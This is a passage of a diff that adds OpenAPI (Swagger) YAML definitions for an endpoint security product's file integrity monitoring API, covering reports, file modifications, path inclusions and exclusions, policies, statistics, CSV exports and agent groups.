+          name: modifications_not_reviewed_count
+          required: false
+          type: number
+        - in: query
+          name: agent.ostype
+          required: false
+          type: string
+        - in: query
+          name: result
+          required: false
+          type: string
+        - in: query
+          name: agent.hostname
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AggFIMFileModificationByAgent'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/FileModificationByAgent/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_endpoint_FIM_FileModificationByAgent_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: low_level_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: medium_level_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: high_level_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: critical_level_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: highest_criticality
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modification_date
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/FileModificationByAgent/{id}/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_FIM_FileModificationByAgent_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFIMReportByAgent'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpdateFIMReportByAgent'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_FIM_FileModificationByAgent_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFIMReportByAgent'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/FIM/FileModificationByAgent/{id}/bulk_update/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_FIM_FileModificationByAgent_bulk_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BulkUpdateFIMReportByAgent'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid form
+          examples:
+            application/json:
+              field_name:
+                - error message
+                - other error message
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/FIM/FileModificationByPath/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_FileModificationByPath_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_entry_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: highest_criticality
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: report_id
+          required: true
+          type: string
+        - in: query
+          name: modifications_count
+          required: false
+          type: number
+        - in: query
+          name: modifications_accepted_count
+          required: false
+          type: number
+        - in: query
+          name: modifications_rejected_count
+          required: false
+          type: number
+        - in: query
+          name: modifications_not_reviewed_count
+          required: false
+          type: number
+        - in: query
+          name: endpoints_count
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AggFIMFileModificationByPath'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/FileModificationByPath/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_endpoint_FIM_FileModificationByPath_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: current_entry_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: highest_criticality
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/FileModificationByPath/{id}/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_FIM_FileModificationByPath_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFIMReportByPath'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpdateFIMReportByPath'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_FIM_FileModificationByPath_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFIMReportByPath'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/FIM/FileModificationByPath/{id}/bulk_update/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_FIM_FileModificationByPath_bulk_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BulkUpdateFIMReportByPath'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid form
+          examples:
+            application/json:
+              field_name:
+                - error message
+                - other error message
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/FIM/PathExclusion/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_PathExclusion_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: path_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: os_type
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: policy.id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ListFIMPathExclusion'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/PathExclusion/delete_many_path_exclusions/:
+    delete:
+      description: ""
+      operationId: data_endpoint_FIMPathExclusion_delete
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BulkDeleteFIMPathExclusion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: invalid input
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/PathExclusion/{id}/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_PathExclusion_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ListFIMPathExclusion'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this fim path exclusion.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/FIM/PathInclusion/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_PathInclusion_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: path_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: scan_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: criticality
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: os_type
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: policy.id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ListFIMPathInclusion'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/PathInclusion/delete_many_path_inclusions/:
+    delete:
+      description: ""
+      operationId: data_endpoint_FIMPathInclusion_delete
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BulkDeleteFIMPathInclusion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: invalid input
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/PathInclusion/{id}/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_PathInclusion_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ListFIMPathInclusion'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this fim path inclusion.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/FIM/Policy/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: endpoints_count
+          required: false
+          type: number
+        - in: query
+          name: rule_highest_level
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ListFIMPolicy'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CreateFIMPolicy'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/CreateFIMPolicy'
+      tags:
+        - agent
+  /data/endpoint/FIM/Policy/delete/:
+    delete:
+      description: Delete multiple FIM policies.
+      operationId: data_endpoint_FIM_Policy_delete_list
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DeleteFIM'
+      responses:
+        "204":
+          description: Succesfull Policy(ies) deletion
+        "400":
+          description: Cannot delete a File Integrity Policy used in an Agent Policy
+          schema:
+            $ref: '#/definitions/_FIMPolicyInUseResponse'
+        "403":
+          description: Forbidden
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/Policy/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_endpoint_FIM_Policy_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/Policy/stats/agent/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_stats_stats_per_agent
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/FIMStatsResponse'
+            type: array
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/Policy/stats/modification/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_stats_stats_per_modification
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: older_than
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/FIMStatsResponse'
+            type: array
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/Policy/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "400":
+          description: Cannot delete a File Integrity Policy used in an Agent Policy
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+        "403":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DetailFIMPolicy'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this file integrity policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFIMPolicy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpdateFIMPolicy'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFIMPolicy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DetailFIMPolicy'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+        "403":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/FIM/Policy/{id}/create_many_path_exclusions/:
+    parameters:
+      - description: A UUID string identifying this file integrity policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_create_many_path_exclusions
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BulkCreateFIMPathExclusion'
+      responses:
+        "201":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/ListFIMPathExclusion'
+            type: array
+        "400":
+          description: Invalid form
+          examples:
+            application/json:
+              field_name:
+                - error message
+                - other error message
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/FIM/Policy/{id}/create_many_path_inclusions/:
+    parameters:
+      - description: A UUID string identifying this file integrity policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_create_many_path_inclusions
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BulkCreateFIMPathInclusion'
+      responses:
+        "201":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/ListFIMPathInclusion'
+            type: array
+        "400":
+          description: Invalid form
+          examples:
+            application/json:
+              field_name:
+                - error message
+                - other error message
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/FIM/Policy/{id}/delete_all_path_exclusions/:
+    delete:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_delete_all_path_exclusions
+      parameters: []
+      responses:
+        "200":
+          description: Successfully deleted all path exclusions linked to policy ...
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this file integrity policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/FIM/Policy/{id}/delete_all_path_inclusions/:
+    delete:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_delete_all_path_inclusions
+      parameters: []
+      responses:
+        "200":
+          description: Successfully deleted all path inclusions linked to policy ...
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this file integrity policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/FIM/Policy/{id}/duplicate/:
+    parameters:
+      - description: A UUID string identifying this file integrity policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_duplicate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/FIMPolicyDuplicateQuery'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCopyResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/FIM/Policy/{id}/force_fim_scan/:
+    parameters:
+      - description: A UUID string identifying this file integrity policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_force_fim_scan
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DetailFIMPolicy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/FIM/Policy/{id}/update_many_path_exclusions/:
+    parameters:
+      - description: A UUID string identifying this file integrity policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_update_many_path_exclusions
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BulkUpdateFIMPathExclusion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid form
+          examples:
+            application/json:
+              field_name:
+                - error message
+                - other error message
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/FIM/Policy/{id}/update_many_path_inclusions/:
+    parameters:
+      - description: A UUID string identifying this file integrity policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_FIM_Policy_update_many_path_inclusions
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BulkUpdateFIMPathInclusion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid form
+          examples:
+            application/json:
+              field_name:
+                - error message
+                - other error message
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/FIM/Report/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_Report_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: highest_criticality
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modification_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: older_than
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: fim_policy.id
+          required: false
+          type: string
+        - in: query
+          name: covered_endpoints_count
+          required: false
+          type: number
+        - in: query
+          name: modified_endpoints_count
+          required: false
+          type: number
+        - in: query
+          name: low_level_count
+          required: false
+          type: number
+        - in: query
+          name: medium_level_count
+          required: false
+          type: number
+        - in: query
+          name: high_level_count
+          required: false
+          type: number
+        - in: query
+          name: critical_level_count
+          required: false
+          type: number
+        - in: query
+          name: modifications_count
+          required: false
+          type: number
+        - in: query
+          name: modifications_accepted_count
+          required: false
+          type: number
+        - in: query
+          name: modifications_rejected_count
+          required: false
+          type: number
+        - in: query
+          name: modifications_not_reviewed_count
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ListFIMReport'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/Report/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_endpoint_FIM_Report_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: highest_criticality
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modification_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/Report/stats/:
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_Report_stats
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: highest_criticality
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modification_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: older_than
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/FIMReportStatsResponse'
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/FIM/Report/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_FIM_Report_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_FIM_Report_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DetailFIMReport'
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_FIM_Report_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFIMReport'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpdateFIMReport'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_FIM_Report_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFIMReport'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpdateFIMReport'
+      tags:
+        - agent
+  /data/endpoint/Group/:
+    get:
+      description: ""
+      operationId: data_endpoint_Group_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: agent_count
+          required: false
+          type: number
+        - in: query
+          name: roles.name
+          required: false
+          type: string
+        - in: query
+          name: display_name
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Group'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_Group_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Group'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/Group'
+      tags:
+        - agent
+  /data/endpoint/Group/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_endpoint_Group_export
+      parameters:
+        - description: A search term.
+          in: query
